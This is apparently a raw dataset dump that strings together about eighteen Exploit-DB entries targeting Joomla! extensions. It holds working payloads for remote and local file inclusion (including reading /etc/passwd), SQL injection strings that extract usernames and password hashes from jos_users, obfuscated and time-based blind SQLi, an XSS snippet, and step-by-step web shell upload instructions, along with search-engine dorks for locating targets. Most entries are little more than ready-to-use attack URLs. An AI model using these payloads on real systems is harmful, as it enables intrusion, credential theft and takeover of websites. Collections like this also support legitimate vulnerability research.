deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6928
Description: Joomla! Component Flash Tree Gallery 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-01
Author: NoGe

Exploit:
==================================================================================================================


  [o] Flash Tree Gallery 1.0 Remote File Inclusion Vulnerability

       Software : com_treeg version 1.0
       Vendor   : http://justjoomla.net/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com


==================================================================================================================


  [o] Vulnerable file

       administrator/components/com_treeg/admin.treeg.php

        include( "$mosConfig_live_site/components/com_treeg/about.html" );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=[evilcode]


==================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ www.mainhack.com - http://serverisdown.org/blog/]
       VOP Crew [ Vrs-hCk OoN_BoY Paman ]
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
==================================================================================================================

# milw0rm.com [2008-11-01]
Exploit-DB #4521
Description: Joomla! Component Flash Uploader 2.5.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-11
Author: mdx

Exploit:
--------------------------------------------
=                                          =
=            Mdx  (c) 2007                 =
=                                          =
--------------------------------------------
=                                          =
=Joomla com_joomla_flash_uploader Remote File Include  2.5.1,2.5.2  
=                                          =
============================================
=
= Download:
=
= http://download.joomlaportal.ch/content/view/1060/
=
============================================
=
= Exploit:
= administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell?
= administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell?
============================================
=                                          =
=TÃ¼m Ãslam Alemininin BayramÃ½ Mubarek olsun
=                                          =
============================================ 

 Thanks : Xoron,Deltaforce,Nizam-Ã¼l MÃ¼lk, Prime Suspect,CyberEx,mith,n0th!ng,CwPeker,Cyber_cobra,CyberWar,Musty
@zr@il-,DaRKToLe,ultrAslan_CW,quantumhalil,schevko ,nirvana_jr,mertcesur,reddevil19,hocam,muhammed4554,WarriorHacker
cepuzmani_53,kalaba,Dr.X 

---------------------------------------

# milw0rm.com [2007-10-11]
Exploit-DB #12169
Description: Joomla! Component FlashGames 1.5.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: AntiSecurity

Exploit:
================================================================================================================


  [o] Joomla Component FlashGames Local File Inclusion Vulnerability
 
       Software : com_flashgames version 1.5.0
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_flashgames&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_flashgames&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


================================================================================================================


  [o] April 12 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12185
Description: Joomla! Component FLEXIcontent 1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-12
Author: eidelweiss

Exploit:
##################################################################
Joomla Component com_flexicontent Local File Vulnerability
##################################################################
 
[+]Title:	Joomla Component Local File Inclusion Vulnerability
[+]Version:	com_flexicontent (FLEXIcontent 1.5 stable)
[+]Download:    http://www.flexicontent.org/downloads/latest-version.html
[+]Author:  eidelweiss
[+]Contact: eidelweiss[at]cyberservices[dot]com    
 
    [!]Thank`s To: JosS , r0073r & 0x1D (inj3ct0r) , [D]eal [C]yber , exploit-db team & all friends
 
########################################################
Description:

FLEXIcontent is primarily an advanced content management system developed to replace the native article manager of Joomla! 1.5 (com_content)

It adds the professional features required to build a collaborative web publishing system. Even if it’s not its primary purpose, it can also manage records by presenting them the way of a directory.

Thus, FLEXIcontent was designed to manage content in a broad sense, and can organise articles, image or video galleries, job offers, product catalogues, business directories, a.s.o. within a single user interface.

This means for the end user, unparalleled simplicity of use, everything happens in one place. Mastering 10 components to be able to administrate an entire website isn’t required anymore. For the web designer it means also the end of the headaches for the maintenance and updates of all installed extensions.

FLEXIcontent is an extension for Joomla! developed in 1.5 native mode and complying with the naming and coding conventions of the Framework (MVC frontend and backend). Thus, its portability to future versions will be greatly facilitated. 
########################################################

	-=[Unique Dork => inurl:index.php/option?com_flexicontent]=-
    
 
    -=[ Exploit ]=-

	http://127.0.0.1/index.php?option=com_flexicontent&controller= [lfi]%00
 
####################=[E0F]=####################


								
															[D]eal [C]yber 04/12/2010 GMT+7
Exploit-DB #42524
Description: Joomla! Component Flip Wall 8.0 - 'wallid' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Flip Wall 8.0 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://pulseextensions.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/sponsors/flip-wall/
# Demo: http://demo.pulseextensions.com/flip-wall-component-demo/
# Version: 8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_flipwall&task=click&wallid=[SQL]
#
# 811+aND(/*!11166sELeCT*/+0x30783331+/*!11166FrOM*/+(/*!11166SeLeCT*/+cOUNT(*),/*!11166CoNCaT*/((sELEcT(sELECT+/*!11166CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1
#
# Etc..
# # # # #
Exploit-DB #5484
Description: Joomla! Component FlippingBook 1.0.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-22
Author: cO2

Exploit:
     [  A L G E R I A     S E C U R I T Y    C R E W  ]
##########################################
#
# [ Joomla Component FlippingBook 1.0.4 SQL Injection ]
#
##########################################
[~] Vulnerability found by: cO2 [ Algeria Security Crew ]
[~] Contact: c02[at]hotmail.de
[~] Website: http://www.Dz-Secure.com
[~] Greetings: to all hackers DZ . . .
##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'FlippingBook'
[~]  Version() :  1.0.4
###########################################
#
# DORK 1 :  inurl:com_flippingbook
#
###########################################
[+]Demo : http://www.page-flip-tools.com/index.php?option=com_flippingbook

[+]Exploit :
 
/index.php?option=com_flippingbook&Itemid=28&book_id=null/**/union/**/select/**/null,concat(username,0x3e,password),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*
###########################################
[+] : you can see the password in 'Title'
[+] : Open the source page to see the 'password'
###########################################

# milw0rm.com [2008-04-22]
Exploit-DB #42530
Description: Joomla! Component FocalPoint 1.2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component FocalPoint Pro / Free v1.2.3 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://focalpointx.com/
# Software Link: http://focalpointx.com/demos/focalpoint-pro
# Demo: http://focalpointx.com/demos/focalpoint-free/
# Demo: http://focalpointx.com/demos/focalpoint-pro
# Version: 1.2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_focalpoint&view=location&id=[SQL]
#
# Etc..
# # # # #
Exploit-DB #12120
Description: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-09
Author: Chip d3 bi0s

Exploit:
-----------------------------------------------------------------------------------------
Joomla Component Foobla Suggestions Local File Inclusion
-----------------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Email		: chipdebios[alt+64]gmail.com
Date		: April 08, 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   	: foobla Suggestions
version       	: 1.5.1.2
Developer     	: foobla
License       	: GPL            type  : Commercial
Date Added    	: Dec 21, 2009
Download      	: http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html

Description   	:

Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee?

The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. For more information check out the features list, screenshots, and demo.

FEATURES

* GNU/GPL license. Purchase, install in unlimited domains and get professional support.
* AJAX base for frontend.
* Allow to import ideas from Uservoice account.
* Bad words filter.
* Export database to XML format.
* Import to database from XML backup file.
* Flexible user permissioning.
* Easy to implement, ONE-CLICK Installation package: 01 component (backend & frontend) + 02 plugin + 01 module.
* Express Install Tools in backend.
* One-Click upgrade to newer version.
* Translation Manager built-in.
---------------------------------------------------------------------------

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=[LFI]%00




+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #35956
Description: Joomla! Component Foto - 'id_categoria' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-15
Author: SOLVER

Exploit:
source: https://www.securityfocus.com/bid/48685/info

The 'Foto' component for Joomla! is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_foto&task=categoria&id_categoria=-4+union+select+1,password,username,4,5,6,7+from+jos_users--
Exploit-DB #12078
Description: Joomla! Component Freestyle FAQ Lite 1.3 - 'faqid' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-06
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Freestyle FAQ Lite Component 1.3 (faqid) SQL Injection
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 05 april 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: Freestyle FAQ Lite 
version		: 1.3
Developer	: Freestyle Joomla
License		: GPLv2           type  : Non-Commercial
Date Added	: 22 March 2010
Download	: http://freestyle-joomla.com/fssdownloads/viewcategory/2
Demo		: http://freestyle-joomla.com/demo


Description     :

Freestyle FAQ Lite is designed to provide you with a highly customised
Frequently Asked Questions (FAQs) module on your Joomla website.
There are various customisable options, you can display FAQs under
a menu item or within a module.

• Multiple categories
• Search all FAQs
• Add an image for each category
• Link directly to a FAQ category or article from a menu item
• View all FAQs at once (option to hide this)
• Module to list FAQ categories anywhere on any page
• Full image and html support for each FAQ
• WYSIWYG editor for FAQs
• Attach full html description to each category FAQs can be toggled as published or unpublished
• Various Joomla back end parameters
• Multiple view modes for question list - Normal list - clicking a category takes you to a different page with FAQ list
• Multiple FAQ list modes - All questions and answers on one page


--------------

how to exploit

http://127.0.0.1/index.php?option=com_fss&view=faq&Itemid=4&catid=1&tmpl=component&faqid={sql}

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #34374
Description: Joomla! Component FreiChat 1.0/2.x - HTML Injection
Type: webapps
Platform: php
Date: 2010-07-26
Author: nag_sunny

Exploit:
source: https://www.securityfocus.com/bid/41961/info

Joomla! FreiChat component is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to FreiChat 2.1.2 are vulnerable. 

<script>alert('hello')</script>
Exploit-DB #14209
Description: Joomla! Component Front-End Article Manager System - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-04
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla Front-End Article Manager System Upload Vulnerability
Date : july 4,2010
Critical Level 	: HIGH
vendor URL :http://b-elektro.no/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
The Front-end article manager system is a simple and very powerful extention, that allows users to manage articles directly from front-end. The system is an article manager that povides various of features, like management of articles,create,edit,delete, publish, approval, notification etc.

The system also provides some access control based on user groups or individual users.This gives you the opportunity to create personal blogs, front-end approvement systems, create submition restriction and so on. The users and administrator of the site no longer need to use, or learn how to navigate in back-end to manage articles.
The system consists of two modules for creating and deleting articles,
and a template overrider.

#######################################################################################################
Xploit :Upload  Vulnerability

DEMO URL :http://server/

Step 1 : Register :D 

Step 2 : Now go to your page and select "NEW " 

DEMO URL:http://server/index.php?view=article&id=9312&task=edit&option=com_content&ret=aHR0cDovL2ItZWxla3Ryby5za2oubm8vaW5kZXgucGhwP29wdGlvbj1jb21fY29udGVudCZ2aWV3PWNhdGVnb3J5JmxheW91dD1ibG9nJmlkPTExJkl0ZW1pZD0xOA==

Step 3 : Now upload the evil php script in the text place :P

Step 4 : now check your blog and upload the shell 

DEMO URL :http://server/index.php?option=com_content&view=category&layout=blog&id=11&Itemid=18

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #36591
Description: Joomla! Component Full - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-21
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51616/info

The Full ('com_full') component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_full&dzial=dam_prace&id=[SQLi]
Exploit-DB #44786
Description: Joomla! Component Full Social 1.1.0 - 'search_query' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-28
Author: L0RD

Exploit:
# Exploit Title: Joomla! extension Full Social 1.1.0 - 'search_query' SQL
Injection
# Date: 2018-05-28
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://extensions.joomla.org/extension/full-social/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 1.1.0
# Tested on: Win 10
===================================================
# POC : SQLi

# Parameter : search_query
# Type : Time-based blind
# Payload : 1%' AND SLEEP(10)%23

# Request
============
GET
/en/search?controller=search&orderby=position&orderway=desc&search_query=1%25%27+AND+SLEEP%2810%29%23&submit_search=
HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.site.com/en/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

===================================================
Exploit-DB #12285
Description: Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-18
Author: AntiSecurity

Exploit:
===================================================================================================================


  [o] Joomla Component Gadget Factory Local File Inclusion Vulnerability
 
       Software : com_gadgetfactory version 1.0.0
       Vendor   : http://www.thefactory.ro/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_gadgetfactory&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_gadgetfactory&controller=../../../../../../../../../../etc/passwd%00


===================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===================================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #44112
Description: Joomla! Component Gallery WD 1.3.6 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # 
# Exploit Title: Joomla! Component Gallery WD 1.3.6 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://web-dorado.com/
# Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd/
# Software Download: https://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=162
# Version: 1.3.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5981
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=7[SQL]
# 
# JTM3JTIwJTQxJTRlJTQ0JTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM3JTMwJTM5JTMyJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM3JTMwJTM5JTMyJTNkJTM3JTMwJTM5JTMyJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=[SQL]&view=GalleryBox&gallery_id=7
# 
# JTI4JTU1JTUwJTQ0JTQxJTU0JTQ1JTU4JTRkJTRjJTI4JTMxJTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTMyJTY1JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTMyJTNkJTMyJTJjJTMxJTI5JTI5JTI5JTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTI5JTJjJTM4JTM1JTM5JTM5JTI5JTI5
# 
# # # #


http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=(UPDATEXML(1,CONCAT(0x2e,database(),(SELECT (ELT(2=2,1))),version()),8599))&view=GalleryBox &gallery_id=7
1105 XPATH syntax error: 'joomla375110.1.21-MariaDB' 

http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=%37%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%37%30%39%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%37%30%39%32%3d%37%30%39%32%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29
1105 XPATH syntax error: '\10.1.21-MariaDB1joomla375'